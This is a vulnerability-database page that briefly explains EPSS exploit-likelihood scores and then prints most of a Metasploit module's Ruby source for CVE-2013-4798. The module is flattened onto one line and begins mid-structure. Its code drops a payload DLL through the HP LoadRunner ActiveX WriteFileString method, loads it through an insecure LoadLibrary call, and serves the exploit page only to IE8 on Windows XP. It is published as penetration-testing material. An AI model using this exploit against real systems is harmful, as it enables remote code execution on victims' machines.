EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The vulnerability exists in the WriteFileString method, which allow the user to write arbitrary files. It's abused to drop a payload embedded in a dll, which is later loaded through the Init() method from the lrMdrvService control, by abusing an insecure LoadLibrary call. This module has been tested successfully on IE8 on Windows XP. Virtualization based on the Low Integrity Process, on Windows Vista and 7, will stop this module because the DLL will be dropped to a virtualized folder, which isn't used by LoadLibrary. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brian Gorenc', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-4798' ], [ 'OSVDB', '95642' ], [ 'BID', '61443'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-207/' ], [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic IE on Windows XP', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Jul 24 2013", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end # Just reminding the user to delete LrWeb2MdrvLoader.dll # because migration and killing the exploited process is # needed def on_new_session(session) print_status("New session... remember to delete LrWeb2MdrvLoader.dll") end def is_target?(agent) if agent =~ /Windows NT 5\.1/ and agent =~ /MSIE/ return true end return false end def create_dll_js(object_id, dll_data) dll_js = "" first = true dll_data.each_char { |chunk| if first dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), false, \"UTF-8\");\n" first = false else dll_js << "#{object_id}.WriteFileString(\"LrWeb2MdrvLoader.dll\", unescape(\"%u01#{Rex::Text.to_hex(chunk, "")}\"), true, \"UTF-8\");\n" end } return dll_js end def load_exploit_html(cli) return nil if ((p = regenerate_payload(cli)) == nil) file_io = rand_text_alpha(rand(10) + 8) mdrv_service = rand_text_alpha(rand(10) + 8) dll_data = generate_payload_dll({ :code => p.encoded }) drop_dll_js = create_dll_js(file_io, dll_data) html = %Q| <html> <body> <object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{file_io}'></object> <object classid='clsid:9EE336F8-04B7-4B9F-8421-B982E7A4785C' id='#{mdrv_service}'></object> <script language='javascript'> #{drop_dll_js} #{mdrv_service}.Init("-f #{rand_text_alpha(8 + rand(8))}", "#{rand_text_alpha(8 + rand(8))}"); </script> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") # Avoid the attack if no suitable target found if not is_target?(agent) print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(cli) if html.nil? send_not_found(cli) return end html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end
